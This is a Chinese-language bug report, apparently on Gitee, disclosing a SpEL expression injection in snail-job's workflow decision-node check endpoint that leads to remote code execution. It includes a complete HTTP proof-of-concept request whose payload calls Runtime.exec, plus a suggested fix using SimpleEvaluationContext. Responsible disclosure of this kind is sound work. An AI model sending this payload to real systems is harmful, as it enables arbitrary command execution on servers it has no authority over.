【Bug Report】应用存在spel类型注入，会导致RCE的安全问题

### 基本信息

- snail-job 版本：*
- 操作系统：windows
- 数据库类型：mysql

### 你猜测可能的原因
表达式注入处，未经过滤，并且使用了StandardEvaluationContext

### 复现步骤

第一步，
点击工作流-任务管理
第二步，
新增决策节点
![输入图片说明](https://foruda.gitee.com/images/1741753062962960734/5479bd12_9254960.png "屏幕截图")
第三步，
输入表达为 T(java.lang.Runtime).getRuntime().exec("calc")，点击校验条件表达式 
完整的poc为 
```
POST /snail-job/workflow/check-node-expression HTTP/1.1
Host: 127.0.0.1:8888
Content-Length: 129
X-Request-Id: Zjn6GKOLVAYMyyFyIdwpH
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"
timeout: 6000
sec-ch-ua-mobile: ?0
SNAIL-JOB-AUTH: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NDE4MzM5NzMsImF1ZCI6IntcImlkXCI6MSxcInVzZXJuYW1lXCI6XCJhZG1pblwiLFwicm9sZVwiOjIsXCJjcmVhdGVEdFwiOlwiMjAyNS0wMy0xMiAxMDo0MDo0N1wiLFwidXBkYXRlRHRcIjpcIjIwMjUtMDMtMTIgMTA6NDA6NDdcIn0ifQ.vx9EcFK-R150Z6fr2uEI6awuyUAoHGRdT7ip4lxBf1o
SNAIL-JOB-NAMESPACE-ID: 764d604ec6fc45f68cd92514c40e9e1a
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json
Origin: http://127.0.0.1:8888
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/snail-job/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"expressionType":3,"logicalCondition":1,"defaultDecision":0,"nodeExpression":"T(java.lang.Runtime).getRuntime().exec(\"calc\")"}
```
运行之后发现出现，应用服务器上执行了攻击者的命令
 ![输入图片说明](https://foruda.gitee.com/images/1741752974740851644/fcd17b14_9254960.png "屏幕截图")
### 修复建议
src/main/java/com/aizuda/snailjob/common/core/expression/strategy/SpELExpressionEngine.java#27
不使用 StandardEvaluationContext,作为替换最好使用 SimpleEvaluationContext
SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集，不包括 Java类型引用、构造函数和bean引用；而StandardEvaluationContext是支持全部SpEL语法的。
![](https://foruda.gitee.com/images/1741752741218799488/de6b2ce0_9254960.png "屏幕截图")

GVP aizuda/snail-job

内容风险标识

评论 (1)

GVPaizuda/snail-job

内容风险标识